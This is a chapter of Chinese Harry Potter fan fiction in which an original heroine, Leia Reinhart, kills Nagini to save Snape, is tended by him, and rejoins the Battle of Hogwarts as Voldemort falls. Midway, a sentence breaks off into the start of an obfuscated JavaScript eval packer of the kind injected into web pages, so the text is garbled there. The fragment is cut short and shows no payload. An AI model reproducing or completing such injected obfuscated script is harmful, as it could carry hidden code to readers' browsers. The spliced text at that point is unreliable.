就在这一瞬间,手环给她带来一阵温暖感。 仿佛是读到她溺水的求救一样—— 「还不行,莱恩哈特」 他的声音好像随着话语响在耳边。 莱恩哈特。 想起来,他每次叫她名字的时候,结尾的音节都会又轻又短,十分悦耳。 蕾雅立即往缝隙里望去,斯内普依旧保持着他的姿势,静静地伫立在那里直视着伏地魔。他是怎么给她传信的? “西弗勒斯,我猜你应该很清楚。你是一个聪明的巫师,一直以来,你也是一个很忠诚的仆人。”伏地魔还在孜孜不倦地吐着阴狠的蛇信,手指如同杀死猎物的蛇般缠紧了手中的老魔杖,他猩红的眼睛在闪烁,倒映出他身前绷紧了脸的斯内普。 “主人——”斯内普低声回应,是在恳求。 蕾雅觉得心脏似乎跳漏了很多拍,随之而来的痛楚沿着每一根神经末梢攀上四肢百骸。 “老魔杖不肯为我效力的原因,是因为,我不是它真正的主人。老魔杖属于杀死它前任主人的那位巫师,也就是说——只要你活着,西弗勒斯,它就不可能真正属于我。”房里的伏地魔眼中的杀气已经藏不住了。 她瞪大双眼,深吸一口气,把魔杖换到左手,而右手则缓缓地探入身侧的分院帽里。 “哈利,神秘人就拜托你了。”她凑在身边人耳侧说道。 “没问题。”哈利最后拍了拍她的肩膀。他显然也很紧张,攥紧了魔杖的手心渗出一层细密的汗珠。 哈利低头从口袋里摸出那张撕裂的照片和一个金色飞贼,蕾雅瞥见照片上是微笑着的莉莉·波特。随后,哈利把金色飞贼和照片握在左手,两人同样的绿色眼睛里有同样真诚的不屈坚定。 “主人!”斯内普拔高声音,他也已经捏住魔杖。 “不可能有别的办法了,西弗勒斯。我必须——征服这根魔杖,才能——征服哈利波特。”伏地魔拖长着每一句话的语气,让它们显得更加可怖,“我很遗憾,西弗勒斯。” 斯内普在对峙中迅速举起魔杖的瞬间,伏地魔猛击了一下空气,斯内普随即应声撞倒在他们眼前的木墙,发出的强烈声响让两个人陡然一颤。 蕾雅立刻平复住情绪从分院帽中抽出闪着烁烁金光的格兰芬多之剑,光芒四溢的剑身映出她咬紧的下唇,以及眼眸里沉住无畏的勇气,和深沉的爱意。 哈利和蕾雅一起并肩站直,隐形斗篷因为他们的动作兀自滑落。 “纳吉尼,”伏地魔的语气冰凉得毫无温度,仿佛在指挥着一件无关痛痒的事。他右手轻轻一抬,在空中划出一个懒洋洋的圆,一旁大蛇的笼子翻滚数圈,直勾勾地冲向斯内普—— “杀。” 须臾间,蕾雅用力将全身的颤抖强压下去,左手掂起的魔杖顺着手臂挥动的弧度使出一发强烈的魔咒将旧箱子、木板和魔法笼子都轰然炸飞。 就在伏地魔与蛇都错愕的一瞬间,她迎着那些飘零如落叶的木屑,越过一切,往那条正在高高扬起头颅的大蛇扑过去。 真奇怪,她的内心突然变得十分平静。 她什么都听不见了,心里只有一个声音——救他。 救他!杀掉蛇! 纳吉尼立刻就掉转方向,张着惊骇可怕的大嘴向她一跃而来。蕾雅本能地以左手挡在面前,下一刻,大蛇一口猛猛地咬在她的肩侧,尖牙扎进她的血肉里。在大量剧痛袭来之前,她几乎是调动全身的血液,将泛着锋芒寒光的格兰芬多宝剑毫不留情地刺入蛇身。 “你去死吧!”她怒吼着,将剑狠狠地推进去。 大蛇挣扎扭动着,硕大的蛇尾狠狠地甩击在她的后背,震得她喷出血沫,伤口也被撕得更大。蕾雅在大脑叫嚣着痛的呼喊中咬紧牙关,用左臂抵住凶狠的蛇头,手中的剑在蛇的血肉里使劲地旋转一圈,然后沿着蛇身一路剖开。 “不!!!”伏地魔发出极度愤怒的喊叫。 在翻天覆地的痛楚里,一声几近咆哮的“神锋无影”贴着她的耳侧擦过,直直地撞向袭击她的一记绿光。一个黑色的身影大步挡在她的前方,黑袍轻轻地拂过她的身旁。 “现在!”斯内普大喝一声。 紧接着,冲进来的哈利脱口而出的“除你武器”带着猛烈的红光从门口冲向伏地魔。 伏地魔很快从最后一个魂器被消灭,以及被忠心仆人攻击的双重震惊里抽回自我,他虽然轻易地抵消掉接踵而至的咒语,却也被逼得连连后退。 “原来你才是叛徒,西弗勒斯。”伏地魔眯起眼睛,嘴边拉出一个阴险的笑容:“看看,这里还有大难不死的男孩,哈利·波特也来了。你们是以为有这么多人就能杀死我了吗?” “当然,我的主人,很高兴你一直对我如此信任。”斯内普冷冷地笑着说,他的魔杖正悄悄凝聚魔力。 伏地魔的表情变得愈发怨恨,那双阴冷的红眼睛如同捕食的怪兽一样,紧紧盯着斯内普,他后退到窗边,同时倏地举起魔杖指向门口——“阿瓦达索命!” “神锋无影!”斯内普在绿光飞出的同时吼道。凌冽的魔咒直穿伏地魔的身体,黑魔王的肩膀被削掉一块,喷出的血雾和下一秒由他挥手打破的窗户碎渣混在一起,被萧瑟的风反向吹进尖叫棚屋内。 在这一片纷乱狼藉的无序里,大蛇纳吉尼蓦地化成一团黑灰消散。蕾雅挣扎着望去,那些黑色烟雾和玻璃碎屑的后面,是木然地站在那里的哈利。 与她一模一样的翠绿眼睛睁得大大的,无动于衷地看着从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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斯内普绷紧了脸,没有任何迟疑,冲上前来把她扶在怀里,“他会没事的,相信我。”他跪在地上,让她靠着他,急躁地说:“你身上的蛇毒在扩散,快把凤凰眼泪给我。” “别闭眼睛,莱恩哈特!!”他命令道,本应空洞的黑眸,此刻灌满无法抑制的紧张。 蕾雅痛苦地按照他说的强睁开眼,呢喃道:“……真的吗?哈利……” “凤凰眼泪在哪里!快点!”他有些生气地对她吼道。 “……衬衫口袋。” 斯内普拧紧眉心,从她口袋里拿出那瓶凤凰眼泪,而后迅速褪下她的长袍、解开她的衬衫,露出被大蛇撕咬的贯穿伤。 黑黢黢的伤口深得可见骨头,正在汩汩吐出同样漆黑的血液,底下纯白的背心被染得如墨,周围本应白皙的皮肤也开始发紫,沿着血管脉络在她的肌肤上画出一道道恐怖的暗线。是纳吉尼的蛇毒,正从她的伤口蔓延开。 斯内普一口咬开金属盖子,细细地浇淋在她的伤口上。血肉开始滋滋地冒着黑烟,她疼得攥紧了他的黑袍,让他脸上的表情也随着她而变得痛苦。 “忍一下。”斯内普虽然已经竭力放轻动作,但是这种伤口愈合带来的疼痛确实无法避免。 他再次低头看着她的伤口,看到她手臂上的黑色开始褪去,放下心来。但很快,他就发现纳吉尼如果再往上咬一点,便深可嵌入她脖上的动脉——那么,他差一点,就要失去她。 他又撇了一眼躺在一边的哈利·波特,男孩正陷入苏生前的沉睡中。收回目光,他想到刚才伏地魔如果坚决对自己使用夺命咒,又会怎么样? 斯内普这才后知后觉地感觉到怕,也再次,再次对那个白发老巫师的计划感到由衷厌恶,真的只要有任何一步的差池,他们就会掉入万劫不复的深渊。 “哈利能回来的,是吗?……”蕾雅恢复了些,睁开眼睛就看见斯内普眼里前所未有、不加掩饰的关心。她缓缓抬起右手按在他下沉的唇角,“您怎么,不太开心?” 斯内普正在从她的长袍里翻出各种药水,头不自觉地往她的指间偏了偏,说道:“相信我,只要他有足够信念,他就能回来。” 蕾雅松一口气般点点头,指尖移向斯内普染红的衣领:“……您也受伤了。” 斯内普没有在意她正在进行的任何动作,径自把白鲜药水涂在她的肩膀上,虽然他很清楚白鲜药水不至于让这种贯穿伤完全愈合,但对他来说,这多少能增加一点安慰。而后,他又用拇指轻轻地抬起她的头,将一些补血剂以及缓和剂喂了进去。 “唔,苦。”蕾雅拧紧眉,伸出手来想要推开斯内普的手腕,但更快地被那双漆黑眼眸里不容拒绝的眼神压回去。 “为什么不再晚一点?”斯内普放下药瓶,责怪般的逼问:“明明应该让我被它——” “我不想,”蕾雅偏执地摇了摇头,“我不舍得让您被咬,那看起来好疼……” “你要不看看这伤口再来跟我说这样的话?”斯内普白她一眼,用魔杖召出一卷绷带缠在她的肩上,眼尾扫见她破破烂烂的校服上大片的血液侵染的浓烈红色,没忍住轻声骂道:“愚蠢。” 这家伙就是个誓要将格兰芬多精神贯彻到底的笨蛋。斯内普确信。 但已经恢复过来的蕾雅正支起身,牵开一抹微笑,探出右手去解开斯内普渗血的衣领,随手拿起他搁在地上的白鲜药水涂在他锁骨和脖间上。 蕾雅仔细地抹着药水,边看着他的伤口愈合,他的眉毛渐渐舒展,他此刻好好地在这里—— 她才意识到自己有多么爱他。 爱他的强大与隐忍,爱他才华横溢的天赋,爱他骤然醒悟后在黑暗里执拗前行的决心。 还有掩埋在所有沉重枷锁之中的一份赤诚的柔软,就是此时此刻,在她身畔展露无余的温柔。 她不知道自己有多庆幸能陪着他跨越这一路的荆棘。 也许在那占星课的预言里,她才是那颗黯淡无光的星星,而他是她在这浑浑噩噩的人生中好运发现的,有着璀璨光芒的北斗星辰。 药水抹着抹着,蕾雅忍不住环上他的脖颈,额头抵在他的脸侧,轻轻说道:“那您的任务,都完成了吗?” 斯内普被她的动作引得顿住数秒,但他没有推开她,只是低哼一声,忍着她呼吸扑在他皮肤带来的痒意,答道:“现在就是等波特醒来。外面怎么样,也不关我们什么事了,留给邓布利多担心去吧。” “谢谢您选择让我最终跟您一起面对。”她说着,心里莫名泛上决堤的酸涩感,鼻子一热,声音也变得哽咽。 她不得不搂得更紧,好埋在他的发间隐藏起情绪,也正因如此,她根本没察觉到她温暖柔软的嘴唇几乎贴上他刚愈合的伤口。 斯内普被突如其来的柔和触感吓得手一抖,扯了下正在打结的绷带,听见怀里人嘶地抽一口气,他又啧了一声放轻手中动作。 他压下内心涌起的各种冲动,哑着声对她说:“别说胡话,莱恩哈特。” “没说胡话。”蕾雅坚持地柔声说道,“我很认真,你知道的。” 斯内普不再说话,轻轻推开她一些,用手指拨开她沾了他的血污的发丝,指尖缓慢地掠过她额上被白鲜药水治疗过的肉芽。 映着被破开窗户透进来的大片初夏星光,他凝视着她精致美好的脸庞和那双倔强诚恳的绿眸。 翠绿的眼睛里闪耀着明亮动人的辉光,宛如明月星辰,温柔地、固执地,穿过层层云雾,照进他的心底。 是啊。就是这双眼眸,让他从一开始就迷失在其中。 斯内普踌躇半晌,终于允许自己用指背轻柔地抹去她眼底的泪痕——他早就想,在她无数次挂着未干的泪渍出现在他面前的时候,就想这么做了。 他沉没在眼前人温润如玉的爱意里,感觉心底逐渐被抚平得如同那晚一望无际的夜雪。 又像,那年盛夏带着她练习过幻影移形的白桦树下穿透而来的斑驳日光,或者是,那晚跟她一起寻得暮光幽影花的山峦之上,拢住他的落日金辉。 那么模糊,那么清晰。 不对,除此之外,还有更多,还有更多。 从什么时候开始,他已再不去琢磨她到底为什么为他做这么多事了? 从什么时候开始,他的负罪感变成觉得不应该、也没有资格回应她? 他不知道,但是也许,或者,在这种劫后余生里,让他暂时不要烦恼这些无端的问题,让他暂时——拥有她吧,哪怕只有一瞬。 毕竟,她本就是他之所以能在这条崎岖艰险的道路上走到末尾的原因。或者应该说,走完这么长、这么难的一段路,他才知道,原来会有一个人愿意陪着他走到尽头。 指腹微微摩挲往下,斯内普无意识地捏了捏她的脸,等她轻哼一声的时候,他好像才回过神来自己在做什么。他更加难耐地偏过头,手里却不愿意松开她似的环得更紧。 “我们以后再说这个。”他说。 “我们”、“以后”,以他优雅嗓音说出来的这两个单词在蕾雅的内心来回荡着,绯红色迅速爬上她的脸颊。 她也只好错开视线,盯着地板上平躺的黑发男孩问到:“哈利怎么样了?” 良久,从那里传来一声细微的叹气声,“呃,嗨。” 哈利挣扎着起身,一边拍掉身上的灰尘,一边嘟哝着:“很高兴两位还记得我在这里,我还以为,上次撞见赫敏和罗恩的拥吻已经够让我尴尬的了。” 完了! 蕾雅猛地按住斯内普马上就要抽出魔杖的手,轻快地笑了起来。 “闭嘴,格兰芬多们。”斯内普嘴上骂着,大手却以飞快的速度把蕾雅的衬衫合上扣好,藏在发间的耳尖红得就快要冒烟。 蕾雅笑得眉眼弯弯,从斯内普的身侧探出头去看比他们还要难堪几分的哈利,他正在忙着抓头发和调整眼镜以转移注意力。 “欢迎回来,哈利。” “敢说出去我会保证让你后悔还活着,波特。” “等等,你们刚才是不是说邓布利多还活着?” “……你从那里已经醒着了吗,哈利?” “遗忘咒!别阻止我!” 窗外,高悬的月终会西沉,远方的天际也会再次绽出晨光。 60.拂晓 “我感觉没事,真的。” 哈利略显局促地挥了挥手,尽力扯出个还算友善的笑容,试图让斯内普放心。他面前的黑发巫师依旧面无表情,没做回答,刚刚施展过诊断咒的魔杖还悬在半空。 还没等斯内普收回魔杖,突然,外面传来一阵急促如鼓点的脚步声。 他果断地作出反应,用身体挡在哈利和蕾雅的面前,魔杖再次凌厉地抬起,警惕地盯着门边。 “Stupefy(昏昏倒地)!” 伴随着虚掩的门板被冲破的巨响,一声怒吼闯入房间——是西里斯·布莱克的声音,“果然是你,鼻涕精!你把哈利怎么样了!” 斯内普挑起眉毛,右手冷静地一挥,轻描淡写般拨开了布莱克的攻击。他的脸再也没有刚才和蕾雅说话时的柔和,而是换上一幅扭曲及厌恶的神情:“真是聪明啊,布莱克。又找到了一个理由不去正面战场了,是不是?” “闭嘴,鼻涕精,今天我一定要杀了你!”布莱克咆哮道,魔杖尖上已闪放出夺目的红光。 “西里斯,住手!我没事!”抢在蕾雅前面,哈利一个大步冲向布莱克,“我在这里,是斯内普救了我,他站在我们这一边!” “哈利?!”布莱克整个人都霎时顿住。他瞪大双眼看着日夜担忧的人儿朝自己跑来,手中的魔杖吓到差点丢掉。他赶忙伸出双臂将黑发男孩紧紧拥入怀中,激动的语调颤抖不已:“哈利?你真的没事?!” “我没事,我好好的在这里。”哈利猛地摇着头,眼角渗出些炽热滚烫的泪水,是反射弧对刚才发生一切作出的事后余悸,“我还活着,也没有怎么受伤。” 眼前这场景也触动了伫立在这里的蕾雅,她无意识地揪住斯内普的衣袍。斯内普随着她的动作缓缓放下手里的魔杖,后退两步站在她稍前的地方。 两人没有说话,只是安静地见证着教父与教子重逢的这一刻喜悦。 果然是格兰芬多,一贯相承,一如既往。 斯内普的脸色阴郁得宛如一块深远洞穴中的黑石,莫名其妙地开始猜想今天还会有多少次这样的格兰芬多式重逢。他顺沿思绪数着,忽而觉得自己身边的格兰芬多是不是有点太多了? 一想到这些,他不由自主地以眼尾余光瞥向身边人,发现她也正微笑着望他。 等等,他刚才好像也——跟这只蠢狗——呃。 斯内普尴尬地别过头去,表情比看到布莱克闯进来的时候还要难看。 布莱克小心翼翼地松开了哈利,犹豫着低下魔杖,这才注意到蕾雅身上几乎被血浸得透红的衬衫,他急切地问道:“蕾雅也在这里?你是不是受重伤了?没事吗?” “布莱克先生好。”蕾雅对身形颀长的男人打了个招呼,“我没事,也是斯内普校长治好了我。” “好吧。”布莱克微微颔首,收回难以确信斯内普是个好人的眼色。他谨慎地游移着眼神,一路掠过脸黑得像块石头的斯内普、静躺在一地的木屑和玻璃渣上的格兰芬多宝剑、破开大洞的墙壁、还有哈利和蕾雅。思量数秒,他似乎仍无法得出一个准确的答案,最后只得十分困惑地转向哈利:“这到底是怎么一回事?” 哈利又一次抬手扶了扶眼镜,“这说来话长……” “好了,这些话就留到后面再说吧。战争还在继续。”斯内普沉着声打断他们,别扭地转向布莱克,话语从牙缝毫无感情地挤出:“你看见邓布利多了吗?他应该回来了。” “邓布利多?”布莱克眉毛紧皱,疑惑变得深重:“他不是被你——”话说到这里,他就意识到了什么,整个人再次如被雷击过般僵住。 “邓布利多先生没有死,都是他本人跟斯内普校长的计划。”蕾雅趁机快速解释。 布莱克深灰色的眼睛迷茫地盯着蕾雅虚弱的脸一阵,显得若有所思。待他终于缓过神,他语气平直干脆地说道:“我没见到他。贝拉逃走后,莱姆斯去帮金斯莱了,我是骑着扫帚跟着守护神们来的。” 布莱克刚说完,漆黑的空气里泛起一股令人打战的寒气。那个阴狠、傲慢的声音再度响彻于霍格沃茨的上方,甚至远在霍格莫德的尖叫棚屋内也能听到—— “我亲爱的巫师朋友们,我要宣布一个胜利的消息。 “哈利·波特,那个被你们错误崇拜为‘救世主’的男孩,已经倒在了我的脚下。他的尸体,现在正躺在尖叫棚屋冰冷的地板上。 “是的,他在试图逃离他的命运时被我终结了。” 一时间,尖叫棚屋内溢满无法抵抗的紧张感,陡然让本就破旧得如同废墟的建筑物在寒冷的夜里继而降温冰封。这很难让人不去想象,比他们离得更近的霍格沃茨现在是一种什么样的氛围——也许,他们真的相信,哈利·波特死了。 想到这里,蕾雅紧紧注视着哈利,她从他的眼中看到了与自己相同的惆怅,大概是在想老师和朋友们听到自己的“死讯”后会有多么悲伤,特别是为了他奋战一晚以后。 伏地魔的话语还在继续: “我要告诉你们这些被蒙蔽的巫师们,哈利·波特从来不是英雄。他只是个软弱的男孩,一个依靠他人牺牲的懦夫。他的存在,不过是你们幻想中的幻影,一个被高估的传说。 “正如我早些时候所说,我不想白白浪费巫师们的鲜血,加入我,否则——我很遗憾,我将不得不展示,对于那些敢于反抗我的人,我是多么的无情。” 布莱克的眼中流出几分好战的戾气。他挑高了眉尾,搭在哈利肩上的手捏紧,嗓音也有些尖锐地问道:“他怎么还活着?” 斯内普的黑眸在短暂的沉默闪烁一下,很快恢复惯常的冷漠:“很遗憾,我刚才没能将他杀死。” “我知道这必须由我来完成,必须由我亲手对付伏地魔。”哈利下意识地朝着那个灌进冷风的破洞望去,翠绿色的眼中充满了决然,“我必须回去,也要让所有人知道我还活着。” 布莱克其实本能地抗拒着这个提议,虽然他同意哈利的说法,心里也很清楚只要哈利出现在战场上,那便是扭转形势的胜机,但是——他真的不能再失去哈利了,一丁点也不能。 这种仅是想象也深刻到刺入骨髓的痛,让他那双本就雾灰的眼眸里蒙上更加苦涩的沉黯。他缓慢地闭眼,又不情愿地睁开,最终痛苦地点了点头:“那让我跟你在一起,哈利。我不能再失去你了。” “……我明白,西里斯。”哈利感激地点头,回握住布莱克一直没松开的手:“我跟你一起。” “汤姆,我相信你已经输了。”空中再次响起一个充满威严的嗓音,铿锵有力地在整个战场上回荡。 “各位,请听我说。”邓布利多说道,“我还活着。如果你们还有一丝力气,请坚持住,坚持到黎明的到来。希望就在眼前,我们的胜利已不再遥远。” 这个声音洪亮、平静而谦和,蕴含着深邃至极的力量和不容置疑的坚毅。像是一支光明之箭,坚韧地划破漫长而冰冷的极夜,刺向霍格沃茨每一个角落。 蕾雅可以立即预测到由这一声号召的影响会有多么巨大,足以让场上所有巫师心头燃起不熄的烈焰,重新振作起来。 “真的是邓布利多啊!看来第二场好戏马上开始了。”布莱克挤出一个意味不明的表情。他很快用手轻耸哈利,魔杖指向他们的身后,“那我们快走吧,扫帚飞来!” 随着他的话音,一把破旧的扫帚从尖叫棚屋外的隧道稳稳飞到他手中。布莱克侧头睨了一眼斯内普,“你们也回去吗?” “你们先走。”斯内普冷冰冰地说。 “好吧。”布莱克与哈利跨上扫帚,又补充道,“哦你们最好不要幻影移形到正门,食死徒包围了那里。” “不用你操心。”斯内普顿了顿,继而冷声叮嘱道:“穿上隐形斗篷,波特。” “等下见,哈利,布莱克先生。”蕾雅对着二人挥挥手,布莱克在飞出窗外的扫帚上回头一笑,朝她致意。 “等下见,蕾雅,斯内普教授。”哈利也回过头,手忙脚乱地将隐形斗篷披上他和布莱克的身体。 他们急速地离开后,窗外只剩下一片宁静的夜空,天边散射出的浅蓝微光匆匆赶来,无声地抚过霍格莫德村郊外那些冰冷潮湿的砖瓦,如面纱一般蒙上迷离缱绻的雾气。 斯内普在这寂寥寒凉的空气中轻轻叹了口气,俯身捡起地上蕾雅的校袍递给她,又弯下腰拾起格兰芬多之剑,并召来落在外面隧道的分院帽将其收入其中。 “您也要回去了,是吗?”蕾雅扣上校袍的纽扣,试探着向斯内普问到。 “嗯。”斯内普简短地回答。 果然如此,她心里早已有所预料。虽然斯内普刚刚跟她说过要把外面的事留给邓布利多处理,但实际上她知道他根本做不到真正的不管。因为只要他身上还肩负着霍格沃茨校长的重任,他就绝不会逃避属于自己的职责,他亦永远都不是那样的人。 “那……”蕾雅垂下眼眸踌躇着,想择取一种能够让斯内普无法拒绝让她一起回去的理由:“……呃,爸爸和邓布利多先生,还在学校里,还有大家。” 不过,这点小心思早就被斯内普看透。她不知道,其实从她第一次这么做的时候就被斯内普洞察了个干净。 斯内普偏过头,闷闷不乐地打断她的话:“只要你答应我,不会做出任何让身上伤口进一步严重的事。” “我向您保证。”蕾雅蓦地抬头,毫不犹豫地看着对方说道,绿眸里沉住一团明媚的诚恳期待。 看到她对自己如此纯粹信任的模样,斯内普嘴角沉下,大手一抬,手上的分院帽被他按在了她还未来得及整理的黑发上面。 “唔!”蕾雅在突如其来的黑暗里叫出声。 “抱紧,忍住你的尖叫。”斯内普压抑住内心恶作剧得逞的笑意,低声说道。 蕾雅困惑地伸手将头顶上分院帽拉下来抱住的同时,就眼看见斯内普向自己走来,而且越走越近。 他的皮鞋踩在木地板上发出沉闷的响声,他的黑袍轻轻地掠过碎了一地的纷乱木屑和玻璃渣滓,带来一阵细碎的杂音。 他走得太近了,她木讷地看他朝她探出手。 “先生?!” 双脚离地的瞬间,蕾雅才反应过来,斯内普说的“抱紧”原来指的是抱紧他而不是分院帽,因为下一刻,斯内普就拎着她跃出窗外,冲进即刻浸润二人的五月夜露里。 斯内普身上混杂了血腥味的魔药苦涩侵扰了蕾雅的鼻端,她用左手护住分院帽,右手紧扣着斯内普瘦削的腰侧。她的视线从他的臂弯里探出,身后的尖叫棚屋变得越来越小,高耸入云的烟囱飞速退去,继而在视野里消失。而眼前,群星已悄然入睡,落到山巅边缘的暗月褪下惨淡的白,逐渐被东方地平线上散开的熹微盖过。 等城堡的尖塔慢慢地出现在他们视野里的时候,那里忽然炸开一朵威猛的火花。 蕾雅被巨响震得肩膀一抖,抬眸瞥见刚才薄凉清美的苍穹已被染上一层耀眼刺目的火光。被轰裂的碎片好像流星雨,拖着长长的尾巴坠下,撞向每一处它们可触及的、早已破损不堪的建筑物。 在人们尖叫奔逃的须臾间,更多的爆震发生在城堡的角落,更多的地方被毁坏殆尽,像是连锁反应,一片接一片因爆炸产生的尘雾地沿着城堡的围墙、塔楼、庭院一路覆盖过去。 霍格沃茨剩下为数不多没有被破坏的窗户也在此刻变得粉碎,透明如冰雹的渣滓和灰黄的砖砾一起四处飞溅,好像在下一场滂沱淋漓的大雨。整个校园都没有任何完整的地方,屹立数百年的古朴石砖就那样坍塌在一起,如同那些死去又被堆埋的人类躯壳一样,渺小无助地归于虚无。 再靠近些,斯内普不由地紧了紧怀抱,以隔开刺骨的寒风和无差别的攻击。 他们现在可以清晰地眺望见低空交错擦开的魔咒,还有扭动厮打在一起的人群。 “邓布利多军!”纳威的喊叫响亮而坚定,如耀眼强光般穿透阴魂不散的雾霾。 他的呐喊是引燃燎原的星火,地面上人群顿时如潮汐洪水般激荡,爆发出昂扬回应。咆哮、叫嚷,仿佛气壮山河的战歌。再也没有人顾及身上淌着血的伤口,他们统统举起魔杖,宛如屹立于岸边上的千军万马,即将跨越泥泞艰险的河,共同抵御面前如惊涛骇浪的黑暗洪流。 “为了邓布利多!为了哈利·波特!” 人们嘶吼着,战斗再度爆发。浓烟里的死斗纠缠着空气爆鸣,把这里变成一片人间炼狱。数不清的攻击在呼啸,四处迸溅的火花与崩裂的石块重叠在一起,混杂着粗重的喘息与愤怒的吼叫,最终沉没在血液的腥臭中。 麦格教授与斯拉格霍恩教授被伏地魔充满恨意的攻击冲散,身影踉跄地后退着。但另一边,乔治、罗恩还有李·乔丹如闪电般的魔咒成功地击倒亚克斯利。对面的走廊里,决斗高手弗立维教授全神贯注,眼中绽出寒光,他魔杖疾挥,将卢克伍德掀飞出去,重重砸在石墙上。伴随着一声震耳欲聋的响声,整面石墙轰然倒下,碎石如海浪般直奔正在与贝拉特里克斯激烈格斗的赫敏与金妮。 还有许多不是霍格沃茨巫师的援军,禁林里的马人黑压压地冲锋而来,箭矢如暴雨般射向四散逃窜的食死徒。那些邪恶的巫师被追逐得如蝼蚁般躲进各个废墟堆之后,又被声势浩大的霍格沃茨家养小精灵们控制住。 巨怪格洛普、夜骐和鹰头马身有翼兽巴克比克也加入了战斗,一波接一波的攻击将伏地魔的爪牙逐步逼退至塌陷了一半的门厅里。在门厅的另一侧,凤凰社的成员从后方围上,再也没有给食死徒留下任何退路。 被斯内普护着的蕾雅正观察着眼前发生的事。她把视线放到所及的最远处,越过这片无序的混乱,远远地望向天文塔。 那里,一身白袍的老巫师凛然矗立,纯净如月的长发被吹散在即将拂晓的天幕下,漫出银色光华。他沉着地注视着战场,整个人就像是一盏伟岸温暖的长明灯,指引着地面上的芸芸众生。他的身侧,是一直守护在那里的雷格纳·莱恩哈特,以及刚刚赶到的沙伯克·金斯莱。 “邓布利多先生和爸爸在天文塔上!”蕾雅轻声喊道。 “嗯。”斯内普迅速调整了一下方向。 他们来到天文塔的旁边,斯内普注意到有食死徒沿着螺旋楼梯攀爬而上,却被埋伏在那里的亚瑟·韦斯莱炸得破窗掉落。他放下心,扭头向另一侧望去,这一瞬,他敛住眼色,敏锐地察觉到对侧的虚空里好像有不自然的气流波动。 “听着,莱恩哈特。”斯内普降下速度,垂眸看她,“我估计伏地魔的第一个目标肯定是邓布利多。他在空中,还用了幻身咒,我们看不见他。所以——” “我明白,您把我放下的时候,我就攻击。”蕾雅冷静地从袍中抽出魔杖。 “瞄准邓布利多的正面。” 刚进入建筑物内,还没等斯内普做好准备放下蕾雅,突然间,一道满载了十二分愤怒的凌厉绿光笔直地冲他们刺来,看不见的杀气蒸腾而起。斯内普随即认知到比起邓布利多,伏地魔好像觉得先解决掉他比较好。他侧身躲开魔咒,但猛烈的晃动却让蕾雅跟着惯性摔了出去。 邓布利多对面的雷格纳反应快速,本来做出攻击架势的魔杖立刻对准女儿施展一道减震咒,免去她血肉硌在坚硬地面的疼痛。蕾雅咬着牙跟随魔咒的力量在地上滚动数圈,终于勉强扑倒在邓布利多的面前,她顾不得邓布利多和金斯莱满脸的担忧,用尽全身力气高举起魔杖—— 与此同时,斯内普更快地冲到焦急扑向女儿的雷格纳前面,厉声喝道:“躲开!雷格纳!” 在雷格纳闻声顿住身形又被斯内普推回的瞬间——“Sectumsempra(神锋无影)!!!”蕾雅的魔杖爆发出一道冲击波,空气应声被层层剥开。 邓布利多和金斯莱顺着她魔杖的方向转头,只见就在模糊的禁林群山前面,一圈熠熠生辉的白色光弧骤然闪现,犹如升起的新生朝阳。紧接着,细雨般的殷红喷溅而出,像是一块朦胧不堪的红色幕布,将远方的景色撕裂开。而在那片光与血的交汇处,一个人形的轮廓随着帷幕降落而出落,是伏地魔。 “我不允许!”伏地魔怒吼出声。 他昏暗如墨黑般的衣袍被魔咒割得四分五裂,碎片于空气里纷散如雪。他的胸襟正绽开一抹抹黑黢的图案,是他浓稠的血液。他睁大了通红的眼,错愕地盯看着身体不受控制般被冲击和重力拉扯着向下,如一片苍凉的落叶,在冷冽的空中无助地翻滚、摇曳。 雷格纳在围栏前探出半个身,确认过伏地魔的坠落,回头惊讶地上下扫视着挣扎着要站起身的女儿。她身上好像是没有一块好地方,被风吹起的黑色校袍一角,露出内里被血浸得通红的衬衫。雷格纳后知后觉地张大嘴,心脏猛地一颤,快步冲了过去,“蕾雅?!你怎么受了这么重的伤!” …… 神锋无影带来的剧烈疼痛如火舌舔舐般燃烧着伏地魔的每一根神经,使他不得不耗尽全身力气才堪堪重新凝聚起魔力,勉强控制住身形落到地面。但他刚站稳的同时,就眼睁睁地目睹了他最得力的助手——贝拉特里克斯被莫莉·韦斯莱的一发粉身碎骨击散。 “不!你们!”他的吼叫里夹杂着撕心裂肺的痛苦和愤怒,像自地狱深处传来的恶魔咆哮,尖锐刺耳,凄厉骇人。他高高举起魔杖,准备与面前的所有同归于尽。 “收手吧,里德尔。”是哈利·波特的嗓音,他的魔杖已经抵在伏地魔的身前。 伏地魔的瞳孔猛然收缩,惊恐地看着那片传来声音的空气。 “大家听着,我不希望任何人出手。必须由我来解决他。”哈利慢慢地掀开隐形斗篷,他的身后,布莱克正把本来指向贝拉特里克斯的魔杖迅速抽回,同样对着伏地魔。 世界好像静止了一秒。 所有正在战斗的人群都停住动作看向这里,而后整座城堡里爆发出盛大壮阔的欢呼。 “不仅邓布利多没死!哈利·波特也没有死!” “伏地魔肯定输了!” “快看呐,伏地魔受了好重的伤!” “我们赢定了!” “战斗!战斗!胜利就在面前!为霍格沃茨抵抗黑魔王!” 伏地魔喷出一口血沫,身上还在因为神锋无影的创伤不断渗出血珠,滴滴答答地落在霍格沃茨的大地上,掺进泥土。他好像无法相信面前一切,竟然大笑了起来,那笑声中充满嘶哑的虚弱与绝望,像一张破裂的面具:“哈利·波特?哈哈。” 他那曾经阴狠的嗓音变了调,甚至带着无力的颤抖:“我们都知道,你所说的不过是谎言。说吧,现在你想用谁来做盾牌?是斯内普,还是邓布利多?你指望他能再次从塔楼之上摔下来救你一命吗!可惜,他现在的魔力跟一个十岁的孩童没什么两样。” “没有谁。”哈利平静地回应,年轻的脸庞上铺满刚毅的决心:“你的故事结束了,里德尔。魂器没有了,只有你和我,而我们两个人不能都活着,只会有一个生存下来。哦你还不知道吧?斯内普告诉你的预言不完整。” 伏地魔冷哼一声,在失血的恍惚中用衣袖擦掉嘴边的血污。他紧盯着哈利,举起魔杖按住自己的胸膛,试图施展一个凝血的咒语,但根本不奏效。他眼里的怒火愈燃愈烈,扭曲着叫嚣着要把哈利也拉入这熊熊烈火里。 然而哈利只是淡然一笑,抬眼对上那双黯然不少的红眼睛:“你中了斯内普的神锋无影吧?这个咒语除了反咒,没有任何的办法可以阻止出血。不过——放心吧,我会在那之前解决你的。” “斯内普,又是斯内普,从头到尾都是斯内普。”伏地魔歇斯底里地尖叫着,“果然,我在三年前早就应该杀死那个叛徒!” 